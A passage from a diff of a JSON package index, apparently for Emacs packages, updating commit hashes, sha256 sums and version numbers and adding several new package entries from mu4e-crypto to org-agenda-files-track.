{ "ename": "miniedit", - "commit": "5f2a50f62475639af011c99c6cc38928b74b3b0a", + "commit": "c1f6256e8ef106684b1b546003ec8b591fdea560", "sha256": "10s407q7igdi2hsaaahbw8vckalrl7z3s6l9cflf51q16xh2ih87", "fetcher": "github", "repo": "emacsorphanage/miniedit", @@ -76206,14 +76713,14 @@ "repo": "tarsius/minions", "unstable": { "version": [ - 20230514, - 1805 + 20240101, + 2220 ], "deps": [ "compat" ], - "commit": "62948a4a2951dab0716977421bfe0a87ea2583c5", - "sha256": "0ralw9znj749ii046l0dfa3aacm05g1ix59rfsjafhky8fiwz37m" + "commit": "07caa8c30b12c35f3fe563a036f9823c4a6a5f01", + "sha256": "07419zfsi871i6lg5g0f99d8ai2znifcfidywly3mb1hrizzylb1" }, "stable": { "version": [ @@ -76236,14 +76743,14 @@ "repo": "arthurnn/minitest-emacs", "unstable": { "version": [ - 20200506, - 308 + 20231222, + 1521 ], "deps": [ "dash" ], - "commit": "ddd152c990a528ad09a696bfad23afa4330ea4d7", - "sha256": "0mdbn8v6m4902krnagsp74r4501d4yfxc33i55l4l14gvjgx1239" + "commit": "5999c45c047212cee15a2be67e78787776a79c35", + "sha256": "0xzc95r9j36jmgvwqb5l8jf6390w4nji423jrzg7xv0a6l47y4br" }, "stable": { "version": [ @@ -76374,19 +76881,19 @@ "repo": "szermatt/mistty", "unstable": { "version": [ - 20231106, - 1627 + 20231122, + 2029 ], - "commit": "7f9d259db5e50bbb13876b5927ee78b3d7d127ea", - "sha256": "1zgw59cpnhnb7jxck2bdkb27fzh60l3cl2g4zx86xzm8nv2zrv09" + "commit": "d51d6d995db42377d225169ec8ad200cbbfca401", + "sha256": "0534s8d565y9sgqxf531xnj4lc67wsixpgg5x630rxaf5b8dwzcy" }, "stable": { "version": [ - 0, - 9 + 1, + 0 ], - "commit": "c1f73167f010e0961acfd919ead5b6a211518ecc", - "sha256": "06sh1hijgyh7ixy1ryz2mx49mhzik52f0v4j1di7vn8cv8plw1j7" + "commit": "71a027bba1763b9d58a3af30b9651bc463890911", + "sha256": "0nw6fvsl2bsqdmzdcdmq2nk3j8a3k6cyjb06b5907dmirzql41x3" } }, { @@ -76397,11 +76904,11 @@ "repo": "ayrat555/mix.el", "unstable": { "version": [ - 20231106, - 1926 + 20240122, + 720 ], - "commit": "811ff399f43425fc6e04866a521063d53938b6a2", - "sha256": "0lxacg1m8fq5qkdbp55zmhaxq9wwvhgdw4nax997l6nnb7ys0q8d" + "commit": "16cc69cbf919769c191b1c49c1cab324fd0682a9", + "sha256": "14qdii5k4caqy0m7nwgrqr6mb30yrl0xpn507xd8z9wg97k3dvn4" } }, { @@ -76454,20 +76961,20 @@ "repo": "jdtsmith/mlscroll", "unstable": { "version": [ - 20221204, - 1608 + 20240119, + 2149 ], - "commit": "de9f84531ca4db6e54a2ca7201638decc0ccadd4", - "sha256": "04gqvlqb00jmkxj4wv4yr3hyvyal4vp2i2x0r338144bhwcxmi71" + "commit": "47182e0afb966994e4ea26842652fb4da9735103", + "sha256": "0h52m1gc0ynajfkxl1xhi4p7hz0kfs1fp6i1wy0qpp7x53w4aig8" }, "stable": { "version": [ 0, 1, - 6 + 8 ], - "commit": "aca5dc9b1be2e38d051c098cf5bc3412cec1ccee", - "sha256": "0k8v6wnscwm5bn6ksr0sbd9cj559ddcbqj7vhh0w67sfy9lgvriz" + "commit": "d4661c2bfd20da79185b904d8a28357e3c4d9c7d", + "sha256": "160lwh0sqragpm10i6yp1pvqjz0y16zqfg0fgkwzks10s8lcq6aq" } }, { @@ -76797,14 +77304,14 @@ "repo": "tarsius/mode-line-debug", "unstable": { "version": [ - 20230901, - 1235 + 20240101, + 2221 ], "deps": [ "compat" ], - "commit": "fbf15be5d9debde1bdf6d9e3759c705347ae6870", - "sha256": "18lxpiqs98mqk0kh9nl0qfg4gz7qqfhscv28xgcxk67cr31pkp9i" + "commit": "b5fbea38d6d92b50be14be99065b44b0ef832983", + "sha256": "02d9q9bfak5dpv2v4q2qicrwf82gn8fj0srhalcnlzkrgfv9z0jz" }, "stable": { "version": [ @@ -76971,11 +77478,11 @@ "repo": "protesilaos/modus-themes", "unstable": { "version": [ - 20231115, - 1302 + 20240104, + 1122 ], - "commit": "bdb18b2ee27344e44e2a17c78524205d02d5174c", - "sha256": "08m6mzh87q05dx7xvfnyqpj0jsg59g626qq8y5nrnmscf7pf0rkz" + "commit": "64823c7767710207cdf443492e0f712876dc4ee4", + "sha256": "00z5r76myq4znm3rvxhhzlpva5adycnvna87x1ar7qrp2z3zblly" }, "stable": { "version": [ @@ -77207,11 +77714,11 @@ "repo": "belak/emacs-monokai-pro-theme", "unstable": { "version": [ - 20210206, - 1820 + 20231120, + 1622 ], - "commit": "d0489741a80d818713c290a1a4bdd985877228bb", - "sha256": "1nmnmijqfxdxz0cxyfq9fn34cy5bbf6cdg0qvg5mjxrjcfsl57dc" + "commit": "d56fa38a9ed3b1d8e4f8401cb4c3f08073f3ba26", + "sha256": "10c6rq9jfjdgz8wnnbwhya6s2jjxf4jw6jlah75kzqyw16y9ckd9" } }, { @@ -77285,20 +77792,20 @@ "repo": "jessieh/mood-line", "unstable": { "version": [ - 20231016, - 1735 + 20231210, + 1309 ], - "commit": "bcd8725b21a64df4952cb0c52ece953075cbee66", - "sha256": "1d5zx3wjcdnbqp6xpmb80ank40yyrbv4i2w7xyg3rwal4l6yq3lv" + "commit": "d1c024fdf9543fbc0101cd2c6e8b248378f591cd", + "sha256": "1xvx26xbd0ylih6xyvwylzjl7z5dbw9sv828p5zykr6fg2kz9nb3" }, "stable": { "version": [ - 2, - 2, - 0 + 3, + 1, + 1 ], - "commit": "d6369af8228921b5ffa328e671c7446a2733fe43", - "sha256": "0davxbpw2a15n1wcza3qszdvmyzypffz8rdkizlq6xhccdyk0rvd" + "commit": "d5b6b5b3552a5b84f4f887e2f805d9e72747fab2", + "sha256": "1xvx26xbd0ylih6xyvwylzjl7z5dbw9sv828p5zykr6fg2kz9nb3" } }, { @@ -77333,14 +77840,14 @@ "repo": "tarsius/moody", "unstable": { "version": [ - 20230901, - 1235 + 20240102, + 1542 ], "deps": [ "compat" ], - "commit": "ebc3522406517aa791da3c4f312609707b5ead9e", - "sha256": "080v3aj16dpy6l62k9ja4z7k1rwhh0mc750niwzk5k7vz6x4gc1y" + "commit": "622a5316cdced84dbd0559443bb86bb635692a0a", + "sha256": "11hxzz1yc63yx7pfcn18b7fffajfc494ci2x4dcxnzw84qzssds2" }, "stable": { "version": [ @@ -77460,14 +77967,14 @@ "repo": "tarsius/morlock", "unstable": { "version": [ - 20230511, - 2105 + 20240125, + 1741 ], "deps": [ "compat" ], - "commit": "b7e2066a69c059c5d4c72e829b615a6b15cef4dc", - "sha256": "03q388lkbs1fx0x0wb0n06f9bfl4k67qvbhkxkw59kdlhxi7qwqm" + "commit": "2a62e20a7648747e74313ebcf3932fa8a858739b", + "sha256": "0pg5pz6k51kvipdyq80w4sishfns53kfqjqz4qhnbiwjb6h1c3pb" }, "stable": { "version": [ @@ -77656,11 +78163,11 @@ "repo": "emacsfodder/move-text", "unstable": { "version": [ - 20221006, - 1634 + 20231204, + 1514 ], - "commit": "b17f0f4cbe9d8a72e6d9765daf2e6cdc12b3f4ba", - "sha256": "1s9cjk20f4vbaffpv0yv7irk7azgmv8l54v9cd1nwfjrzybqq1xx" + "commit": "90ef0b078dbcb2dee47a15b0c6c6f417101e0c43", + "sha256": "16x8p9brj5nrjk2rmhwf6hb8sj0rjr4j2827z0g679zyns3cbyrb" }, "stable": { "version": [ @@ -77743,7 +78250,7 @@ }, { "ename": "mozc-im", - "commit": "4b651b7f1c15b44577b3c2b7493264ed802cf073", + "commit": "c1f6256e8ef106684b1b546003ec8b591fdea560", "sha256": "1gqzmm712npj36qfi506zgl0ycd6k7l5m46c7zz2z2lb6jpssw10", "fetcher": "github", "repo": "d5884/mozc-im", @@ -77761,7 +78268,7 @@ }, { "ename": "mozc-popup", - "commit": "49bdcf035b9f885a689b9dc21817aecdcd09768b", + "commit": "c1f6256e8ef106684b1b546003ec8b591fdea560", "sha256": "1n43lwflxzzyskxgzg19rg3hiqqkf5l7vfgaydryf4sk8480x687", "fetcher": "github", "repo": "d5884/mozc-popup", @@ -78060,7 +78567,7 @@ }, { "ename": "msvc", - "commit": "a6ff6bbfa11f08647bf17afe75bfb4dcafd86683", + "commit": "c1f6256e8ef106684b1b546003ec8b591fdea560", "sha256": "1j88a2nnrqjhq5avs665486l3xp20fc9789zh2izmf3msrxqimns", "fetcher": "github", "repo": "yaruopooner/msvc", @@ -78100,11 +78607,11 @@ "repo": "mattiasb/mtg-deck-mode", "unstable": { "version": [ - 20180613, - 2010 + 20231202, + 1546 ], - "commit": "8265b8ed17fcd4406760c19aa6ee9c76068b1ab0", - "sha256": "04qdcqpkic2nhqy6nf15j3zp5hmrfzs2kndvmg5v4vjac2vfmzfb" + "commit": "3cb3866951feae40531c0a2e4fa72c0f2989c36c", + "sha256": "1j2ps7xsypi4n78jkz25xg7kv1795jjccydhrmw6z6v313hjwx2f" }, "stable": { "version": [ @@ -78221,6 +78728,21 @@ } }, { + "ename": "mu4e-crypto", + "commit": "64a39c1ab11c4bfee737bda22b39eea47e07ed74", + "sha256": "0zcyrm9027h7vm6fnldb331yvxwnjsm5bw3a21ynxvirh7dw9lf5", + "fetcher": "github", + "repo": "meritamen/mu4e-crypto", + "unstable": { + "version": [ + 20240120, + 646 + ], + "commit": "8eb4ce811044aa93f3527adf35984aa502ac0d4b", + "sha256": "0231q37vj960f6czr2l5fqsgsdiyndlls35dvqzlmzrqpzjcj81m" + } + }, + { "ename": "mu4e-jump-to-list", "commit": "c1cf98dff029d494007fe25d29bd8bcfecc5b8e6", "sha256": "0yl1vi62pjgklwa7ifvr35fciiqqc5zkrc0m4yxjiv0c0dn50b7n", @@ -78492,17 +79014,17 @@ }, { "ename": "multi-project", - "commit": "a5b0dadc609d13737d56657c17a945f10e840222", - "sha256": "0zq2lwrllj4icksq6y7hz61ah39k60v1jc5qr16zvwyfqxhk8hpb", - "fetcher": "hg", - "url": "https://hg.osdn.net/view/multi-project/multi-project", + "commit": "c9cffcacb8af80318020e02d0e38c653673dcb14", + "sha256": "1d62z277y55ksimkvh03czaizjhwy8a62c972m7r128r2ya82y3w", + "fetcher": "github", + "repo": "ellisvelo/multi-project", "unstable": { "version": [ - 20230729, - 1543 + 20240115, + 1635 ], - "commit": "0ba7d337d8764b4f83788bc6c1f17080aad2b6c7", - "sha256": "1qzx6f8zi36z34nz2ds0yxvfj2m2l9zh0rqpv62l0rv87mpg00yk" + "commit": "3bc67ba8adf10a0844fa2f9cce9d78f130307645", + "sha256": "0f4p3ndp2qlphad46qhyfmjcd0kmazkz6yr7278ca4zminchfrvc" }, "stable": { "version": [ @@ -79165,11 +79687,11 @@ "repo": "kenranunderscore/emacs-naga-theme", "unstable": { "version": [ - 20230904, - 801 + 20231208, + 719 ], - "commit": "a1b12bd7b00b286c3f37f50136dcf5602fc178ec", - "sha256": "1g99rifsmn8c2frmvymmspbd7v7i7x4m798533sz8ak4vnys4w1d" + "commit": "5b36834b9a8b4d18e6ed031944190987f9721867", + "sha256": "1ygg3hzak2sy9d0kir831dy918vqq7j64yyqnps5ix54vqlj0yas" } }, { @@ -79538,11 +80060,11 @@ "repo": "CeleritasCelery/emacs-native-shell-complete", "unstable": { "version": [ - 20230505, - 1803 + 20231218, + 316 ], - "commit": "7b5e7d86c39ce9833118db278034789a6c0ecfd6", - "sha256": "0khlr0g6b5ml3n0s49mzhlwfca7gcxf07sb2h6014vnhf1i7qy78" + "commit": "56b20b414a9298f45b0923edf633c7153b97892b", + "sha256": "0d4h36ns13fra744nhk9azxqmxw14fwn908i3f1h2f4ll3hqbpfa" } }, { @@ -79698,11 +80220,11 @@ "repo": "nickav/naysayer-theme.el", "unstable": { "version": [ - 20230720, - 2056 + 20231227, + 1626 ], - "commit": "eafbc760e32728d2fe2b347621da222537372500", - "sha256": "0a2gznz4054ibwlmis3zb5z63nl663azdn4dml6xks77i6ys73dn" + "commit": "59b0cf29ee9c7a5979423fb63b412b67592c58e3", + "sha256": "1iajdngjgvjhx1pfrjh51gkiwvfiy919qk2bdvk8n8ybwv655q55" } }, { @@ -79766,11 +80288,11 @@ "repo": "babashka/neil", "unstable": { "version": [ - 20231113, - 1036 + 20231214, + 736 ], - "commit": "076fb8339e4ea935c1a530a740b6eb6257c55962", - "sha256": "1vz50fkf1nw1md8p239pisvpba9q1y3ygvs6yfb37jvrxh6a1k4r" + "commit": "abfe86474986a36c6c0daa56f8c4b6e1fb883743", + "sha256": "06bh762as20mlbydixbnfmn4i03gh4sz3iwv38chb5ma26w59m13" }, "stable": { "version": [ @@ -79867,11 +80389,11 @@ "repo": "rainstormstudio/nerd-icons.el", "unstable": { "version": [ - 20231115, - 1110 + 20240122, + 644 ], - "commit": "cfda588dc1e865a8a121b9071f3720fd4937492b", - "sha256": "0cnhcyh7s50k60hx572zz2cq83qjjp72qs6ad9gc6abhzzrzr6bj" + "commit": "c6a4acf19454b415cba1c43daf4bfca8fccdd9ba", + "sha256": "1pnlp54f0c2wgc65p932xyk71lyw361x17w71fnxgp72j1a3y6dz" }, "stable": { "version": [ @@ -79939,14 +80461,14 @@ "repo": "rainstormstudio/nerd-icons-dired", "unstable": { "version": [ - 20230917, - 210 + 20231214, + 2155 ], "deps": [ "nerd-icons" ], - "commit": "4a068884bf86647d242c3adc8320cd603e15dac3", - "sha256": "1nn9xa0vhn0szl0xaz7hrkpj1xpq3yr5ym4043j3qh1h75048isf" + "commit": "c1c73488630cc1d19ce1677359f614122ae4c1b9", + "sha256": "1ln73ii7c3chl4lvarwiwrdmx49q528wc0h6a7xbl68pc2pyyvq2" } }, { @@ -80034,14 +80556,14 @@ "repo": "SpringHan/netease-cloud-music.el", "unstable": { "version": [ - 20220305, - 1224 + 20231226, + 1525 ], "deps": [ "request" ], - "commit": "f238d1d45bbeee32e0a8d169f39de4360be908f4", - "sha256": "0i460vn7plvxrzbzlnfldx36aymy0x666r5w3mak3a5ksyqpbi1c" + "commit": "f5d622e2d376d995f412aef93d031836d8c9997c", + "sha256": "1dwgxx8d519m1ci4wg3qkfl8ad34dy9gr3m8f0d0ckwffn00ppwl" }, "stable": { "version": [ @@ -80463,11 +80985,11 @@ "repo": "mrcnski/nimbus-theme", "unstable": { "version": [ - 20230611, - 1619 + 20231227, + 1644 ], - "commit": "ae88d2997da80efaaece33ab7f554184ad72d962", - "sha256": "18gya6qkxqxx18rzph5rgkij5asfq88cma6z4yxdbqdgvzf7g9mf" + "commit": "09e6dcdd491c7aa5aa355e441a03492991830ad1", + "sha256": "1zi90ixnmgiwzclgji5l1w4qh9ib3lv2qkmjh2p2xrkivlq553b3" }, "stable": { "version": [ @@ -80899,14 +81421,14 @@ "repo": "ranmaru22/no-clown-fiesta-theme.el", "unstable": { "version": [ - 20230220, - 1019 + 20231214, + 2115 ], "deps": [ "autothemer" ], - "commit": "e143cdfa7cecac6383328eca88586105f308bca9", - "sha256": "1j986mbr49rlfxx3dsq5fjipif1gpkwjhx6f7sm9zppnf51r875h" + "commit": "0cd04a72aa5dcf61e82e2a613670334816326b02", + "sha256": "0ly95561skwfkn3kpv3269ffk7sd6p92dm1q6p4cq2fbm3v0w6xd" } }, { @@ -80932,14 +81454,14 @@ "repo": "emacscollective/no-littering", "unstable": { "version": [ - 20231115, - 2126 + 20240108, + 2107 ], "deps": [ "compat" ], - "commit": "722c44210a5f2697f449bd6cb2cdcff638b8c0bd", - "sha256": "109z231gz4afg4z0dzyccsx69znvzwy3z4c5z48441brssvna6nj" + "commit": "dab372c82338ba10d9810151623b3fbd9e3a78e8", + "sha256": "09sxdsshkr6chg9zaw6bqyh7isazrv9liryr15nzqlc3vxvw2w24" }, "stable": { "version": [ @@ -81257,11 +81779,11 @@ "url": "https://git.sr.ht/~ashton314/nordic-night", "unstable": { "version": [ - 20230831, - 1732 + 20231205, + 1744 ], - "commit": "38020ebac496992a4b41bc721db9c28962e5b7df", - "sha256": "0h07sflfvxkgc9w7jdfmvarrgdgr95sbki4az7b6n0kpzzps1s1f" + "commit": "d5d481a6b514001b22d1a184c1214d220fe3869d", + "sha256": "1qvka1ybwc3jyxjk0ljzmbf6l56lmfqi4l7dasmmc31w7all3l53" }, "stable": { "version": [ @@ -81388,10 +81910,10 @@ "version": [ 0, 38, - 1 + 2 ], - "commit": "356ad392716d2a775e58d766c1fec9047cc84163", - "sha256": "01h8handfqhps79gyx579b70sfigyxdlk3qgqv413ahvinw5h47b" + "commit": "c769658360e10a6d01a4134e680e2f498741bc5c", + "sha256": "07n4cp8zql9vkc5s18d687mwhb96cad629d3mgvxbf36v3v1s1xx" } }, { @@ -81402,15 +81924,15 @@ "repo": "tarsius/notmuch-addr", "unstable": { "version": [ - 20230511, - 2057 + 20240101, + 2221 ], "deps": [ "compat", "notmuch" ], - "commit": "89ced49cf3fb4d62bd4fea8bf9bd53ec8e4c7176", - "sha256": "0wggx4cqh1zgmax99bx2g90h51f2jxahqr5f35d0k1770zsds7f5" + "commit": "1253c6ff1359acef42f04c021c6204b8e726b071", + "sha256": "1wvap0vg0b1daccw1523f5baf9sp7qivrrpk2bg0sdaq37pzkbm7" }, "stable": { "version": [ @@ -81494,15 +82016,15 @@ "repo": "tarsius/notmuch-maildir", "unstable": { "version": [ - 20230511, - 2056 + 20240101, + 2221 ], "deps": [ "compat", "notmuch" ], - "commit": "4686e8e7b6d88439d4b0c39c7b17502b102a6f58", - "sha256": "09f5g2xll2wh9jkd8crgngnbhxxkiy1rqsjg5g4c0i3hdyk4c3s5" + "commit": "2b6a49c8b1f35338bb231f39155b6da0a0b639d5", + "sha256": "0r3fjq0b1zssjbhq9075cihqn0a255lrqkl9vcb3ypy0gwr7hy9r" }, "stable": { "version": [ @@ -81526,16 +82048,16 @@ "repo": "tarsius/notmuch-transient", "unstable": { "version": [ - 20230917, - 1004 + 20240106, + 1322 ], "deps": [ "compat", "notmuch", "transient" ], - "commit": "b2a318be18ad2fc7553601f564132fa6882a4a0d", - "sha256": "0p90mdcwhfqpw6jzs8l4iw5072ziq82hm4xc18qyjj32h8lbs9p3" + "commit": "0dc26288276e43a2e362acae850444a47b7db652", + "sha256": "05kwrnmj3d4rhx463iilfs6qwqy7f1rg752ghcmjlx2l1vjqwsc1" }, "stable": { "version": [ @@ -81949,11 +82471,11 @@ "repo": "mrkkrp/nushell-mode", "unstable": { "version": [ - 20230612, - 726 + 20231204, + 1233 ], - "commit": "ff8f8013af3076c041bd5235a54776890f4c4d0e", - "sha256": "1m06flbry3yi3n6ad3lllvwj8w03ahpbkj5nv1k1y88cgbp13j85" + "commit": "e92791e06ea13b93be38874111b83172d6de67c1", + "sha256": "11n9iqhncb2y0mf0a63v9p64fpidgvv8h1cbh1mk39ixl9hxbb7v" } }, { @@ -82207,6 +82729,30 @@ } }, { + "ename": "ob-base64", + "commit": "d82c7daa606c1c0c2ed4abe7601c16e8b261de12", + "sha256": "0ki8hkf4b34w1x597vx9mjf7jwzwlsk8z2i8zljip47jibg01913", + "fetcher": "github", + "repo": "KeyWeeUsr/ob-base64", + "unstable": { + "version": [ + 20240102, + 1818 + ], + "commit": "e8150fd7c9b75be175dfa2cf6bff29ef144dd0ec", + "sha256": "0w8w2gj98hc263pp12598abs17jvjj0m7k7hflm3d1hcjjd4jys8" + }, + "stable": { + "version": [ + 1, + 1, + 4 + ], + "commit": "e8150fd7c9b75be175dfa2cf6bff29ef144dd0ec", + "sha256": "0w8w2gj98hc263pp12598abs17jvjj0m7k7hflm3d1hcjjd4jys8" + } + }, + { "ename": "ob-bitfield", "commit": "4032df23d0f2fdab9655a386bf5645d30acf5f53", "sha256": "0aiq97h595h03fv6hz276vx1aaacl6gk4yn60ncizkas3vs8sj6h", @@ -82285,14 +82831,14 @@ "repo": "xenodium/chatgpt-shell", "unstable": { "version": [ - 20231111, - 2324 + 20240113, + 1737 ], "deps": [ "chatgpt-shell" ], - "commit": "03f8edabb95c6ffc64050d79fdb3091532711b59", - "sha256": "0h94zdx1nn98pg3mdlj6zvlswmj6i1yldnm1hb9pj2hccsdfj3bj" + "commit": "3bf5464d2c7354f212446e9af151749aef80c2c9", + "sha256": "0qwchv14xrqvpk0gc7rr1gb64wy7lzn0fvknv45dw50pwp8iiw8p" } }, { @@ -82446,14 +82992,14 @@ "repo": "xenodium/chatgpt-shell", "unstable": { "version": [ - 20231109, - 913 + 20231129, + 130 ], "deps": [ "dall-e-shell" ], - "commit": "ad7caa8bde9d9e3e4f09458e6542ae1318949b2b", - "sha256": "1hd4df6ykifkkrl4ywczmiv0np2ai0q2xs7wabh24wi6cs3nzapw" + "commit": "f27fc3ff5d01db4bae3e5c22c4ec208e387b7af1", + "sha256": "17jra66ffa8slzm0y6n64nxxns6a1m3sbd4azrzrlyqx81qh26dz" } }, { @@ -83207,14 +83753,14 @@ "repo": "alf/ob-restclient.el", "unstable": { "version": [ - 20231027, - 518 + 20231228, + 1403 ], "deps": [ "restclient" ], - "commit": "1a127eb0165f10bb9d33606aa8529051118805e7", - "sha256": "0fk0ly8hyhlq4vyndkmv22cx0p7cknf56j6djika1c9d4hl75ff2" + "commit": "8183f8af08838854cf145ca4855b373f3e7c44b0", + "sha256": "1llgr2sw2466y4ihrnrrdv68hkvhgdyd17gsl5rlzjv41x5iqmc7" } }, { @@ -83523,14 +84069,14 @@ "repo": "lurdan/ob-typescript", "unstable": { "version": [ - 20230523, - 131 + 20231227, + 311 ], "deps": [ "org" ], - "commit": "abf36f1f3b2476e71c63721dc907d7e6914aef3d", - "sha256": "0ninckmri06gcn1bk50phqrm35csslk5imx374jy7xjfapvajyls" + "commit": "5fe1762f8d8692dd5b6f1697bedbbf4cae9ef036", + "sha256": "1zgnls92pyy950xcly5y7jkr72xcpxq94lqa39gbhad93b7bfffc" } }, { @@ -83669,8 +84215,8 @@ "repo": "licht1stein/obsidian.el", "unstable": { "version": [ - 20231105, - 1800 + 20231218, + 1043 ], "deps": [ "dash", @@ -83680,14 +84226,14 @@ "s", "yaml" ], - "commit": "f83c5d32eba8237dedeec66c44f464019840b264", - "sha256": "1fpqc5xwqdqg4l4aifqvsr5p00997z5xdvnlnrrc1p981ifxa67c" + "commit": "24ff6ef051ba1f1a1e80a2132fdada37e77eaad6", + "sha256": "12va9svwgsjwakqw17ik8xzpda1w9fjplfj5i7aq10ic8yq6fkyx" }, "stable": { "version": [ 1, 4, - 0 + 4 ], "deps": [ "dash", @@ -83697,8 +84243,8 @@ "s", "yaml" ], - "commit": "f83c5d32eba8237dedeec66c44f464019840b264", - "sha256": "1fpqc5xwqdqg4l4aifqvsr5p00997z5xdvnlnrrc1p981ifxa67c" + "commit": "3814b08fb43d633c4a31b17deef1c2b71e5b5420", + "sha256": "0hkwiha8xrw3iila3wny287lwbmwqmraar8xfp53xvhpg8fxkl7c" } }, { @@ -83954,26 +84500,26 @@ "repo": "oer/oer-reveal", "unstable": { "version": [ - 20230925, - 1039 + 20240104, + 1513 ], "deps": [ "org-re-reveal" ], - "commit": "008a4433d64389d00ae86e00a391041e12a9cba7", - "sha256": "0wxzbgxc0yh5hl5z3c3cpzwdqhzczcvsz14yb1fbg7qr7365kyah" + "commit": "3552f038f4c39e70aa1cc9bf59ad448a76bf5524", + "sha256": "1vn8iz7891ml9z989d8k68i01rldnyrgg5vzbf6k7kyf3vnslf8c" }, "stable": { "version": [ 4, - 12, - 0 + 19, + 1 ], "deps": [ "org-re-reveal" ], - "commit": "008a4433d64389d00ae86e00a391041e12a9cba7", - "sha256": "0wxzbgxc0yh5hl5z3c3cpzwdqhzczcvsz14yb1fbg7qr7365kyah" + "commit": "3552f038f4c39e70aa1cc9bf59ad448a76bf5524", + "sha256": "1vn8iz7891ml9z989d8k68i01rldnyrgg5vzbf6k7kyf3vnslf8c" } }, { @@ -84024,16 +84570,16 @@ "repo": "tarsius/ol-notmuch", "unstable": { "version": [ - 20230511, - 2048 + 20240101, + 2222 ], "deps": [ "compat", "notmuch", "org" ], - "commit": "781c3518a537da2a8b5e8a4424f9441df463a147", - "sha256": "1rlpl3kb709q5brkjrrpirdnhvyh447q93li9lgfz67yya29rfqd" + "commit": "881991d94a1ad750633fcf1f2d8a9e0616979be3", + "sha256": "1hc4bkkg42pj1i3vy6jm0rqvviiizn61nph74nvms5v08fb0yn09" }, "stable": { "version": [ @@ -84430,6 +84976,37 @@ } }, { + "ename": "one", + "commit": "be5e0550ba1eb789cad64ba18528c832128fe47c", + "sha256": "17plv1b2zwamjdwmazii5sxcfx6svhk9j9frr20yzg6hb9vg94wp", + "fetcher": "github", + "repo": "tonyaldon/one.el", + "unstable": { + "version": [ + 20231205, + 1423 + ], + "deps": [ + "htmlize", + "jack" + ], + "commit": "fa52cf0144f89eabee06f598b021a37087c69670", + "sha256": "1qk7xcca7inkwmdwcai4j43pb2nr8s89c4s0hjmc1bp3grryqrqj" + }, + "stable": { + "version": [ + 1, + 1 + ], + "deps": [ + "htmlize", + "jack" + ], + "commit": "fa52cf0144f89eabee06f598b021a37087c69670", + "sha256": "1qk7xcca7inkwmdwcai4j43pb2nr8s89c4s0hjmc1bp3grryqrqj" + } + }, + { "ename": "one-themes", "commit": "504fb2fa2fe17eb008f7e9b8f7fb394f4a3ebd28", "sha256": "11c6py5vani2cv4qjvizlzz9xvr5v57qxy1chcxy2lq3jlz1q5w0", @@ -84506,6 +85083,30 @@ } }, { + "ename": "open-color", + "commit": "06befa95a4b80506a40e1cd10c83abe63afc8539", + "sha256": "0xq9nr2kdc05bgaij00r81a86npzy6kw5r0gggdskiycqsh3ck6w", + "fetcher": "github", + "repo": "a13/open-color.el", + "unstable": { + "version": [ + 20231220, + 1921 + ], + "commit": "4db381311d4b659922566236697a424f5f3fde6f", + "sha256": "1nmg6y4b7vqlr036q6jmzw02ql4g00rand87j3flbdd5wbgx02si" + }, + "stable": { + "version": [ + 0, + 0, + 1 + ], + "commit": "74cee7acc6a054d2fbdf847dd7ddccfbe8f81db1", + "sha256": "01vlw5vbrj0s09flkziz9n2vbj3ac3ycvvy6w9yqh4z03vgrjwrd" + } + }, + { "ename": "open-in-msvs", "commit": "a6ff6bbfa11f08647bf17afe75bfb4dcafd86683", "sha256": "0q2rscnw9hzlh37i4v2h5f3kpmkdbl6wlrxh7wz13jfn5xdj6420", @@ -84872,6 +85473,57 @@ } }, { + "ename": "org-agenda-files-track", + "commit": "95fceae0482e54054c93d3b5e16c2f928b69b9d1", + "sha256": "07i3if1g383i0hhz6m04iwqrymb59gcvm1h5r4az8j9kixc8l41s", + "fetcher": "sourcehut", + "repo": "ngraves/org-agenda-files-track", + "unstable": { + "version": [ + 20231209, + 1529 + ], + "commit": "c0f5f7746ec023a32ba106ec24812eca5cbe15df", + "sha256": "0d7fhsinm2cj8vd7s54x5r6jhq3l36b7x6s8cy5r6y005h8kac50" + }, + "stable": { + "version": [ + 0, + 4, + 0 + ], + "commit": "c0f5f7746ec023a32ba106ec24812eca5cbe15df", + "sha256": "0d7fhsinm2cj8vd7s54x5r6jhq3l36b7x6s8cy5r6y005h8kac50" + } + }, + { + "ename": "org-agenda-files-track-ql", + "commit": "95fceae0482e54054c93d3b5e16c2f928b69b9d1", + "sha256": "1hsbjlr0icyyr0m815bi32v37hh2rwsq9ix7r5mw3kz5nj8v548d", + "fetcher": "sourcehut", + "repo": "ngraves/org-agenda-files-track", + "unstable": { + "version": [ + 20231218, + 627 + ], + "deps": [ + "org-ql" + ], + "commit": "832cffe62c35f32850afb800e9a3b8a20a05ad7b", + "sha256": "17a62rxqahxrpaffwjz81schmyr78q2d9vvxf0b89y8smv8bdprc" + }, + "stable": { + "version": [ + 0, + 4, + 0 + ], + "commit": "c0f5f7746ec023a32ba106ec24812eca5cbe15df", + "sha256": "0d7fhsinm2cj8vd7s54x5r6jhq3l36b7x6s8cy5r6y005h8kac50" + } + }, + { "ename": "org-agenda-property", "commit": "1e6aed365c42987d64d0cd9a8a6178339b1b39e8", "sha256": "0zsjzjw52asl609q7a2s4jcsm478p4cxzhnd3azyr9ypxydjf6qk", @@ -84903,26 +85555,26 @@ "repo": "rksm/org-ai", "unstable": { "version": [ - 20230910, - 1314 + 20240103, + 235 ], "deps": [ "websocket" ], - "commit": "170c0496898ddbe30ac47904cc2587c00d3e3366", - "sha256": "014icfsgjr5rhjn0ns3a2dnqaa64cf34cb115rff61952ifjibim" + "commit": "329bebaf90f013a54449806e6e65f2fab04cee1f", + "sha256": "104w41syib8dyysf4k551yrrw0s3cfn1w9dk9336zf2cz9n33svx" }, "stable": { "version": [ 0, 4, - 1 + 3 ], "deps": [ "websocket" ], - "commit": "785db5f009244814efa81afc803cce30b43d5546", - "sha256": "180zmnayw6k8g8wdklv16wrbj0d92ywndf7agb3vbai7s18djx3h" + "commit": "329bebaf90f013a54449806e6e65f2fab04cee1f", + "sha256": "104w41syib8dyysf4k551yrrw0s3cfn1w9dk9336zf2cz9n33svx" } }, { @@ -84933,15 +85585,15 @@ "repo": "spegoraro/org-alert", "unstable": { "version": [ - 20231104, - 1236 + 20240122, + 1728 ], "deps": [ "alert", "org" ], - "commit": "c4bcea435b96db470ac2c173a378354714429739", - "sha256": "0jvf1dv8z8fl4y4hrv5afgn5s974pyw5swvxf4k3ha2aaarhpn80" + "commit": "b4bfd4cead89215cc9a46162234f7a4836da4dad", + "sha256": "0l4h5hi37s0b28v2ds8m01li0z80adlnhnvqhd6jszdsxv44fw5f" }, "stable": { "version": [ @@ -84989,30 +85641,30 @@ "repo": "eyeinsky/org-anki", "unstable": { "version": [ - 20230804, - 1244 + 20240105, + 1423 ], "deps": [ "dash", "promise", "request" ], - "commit": 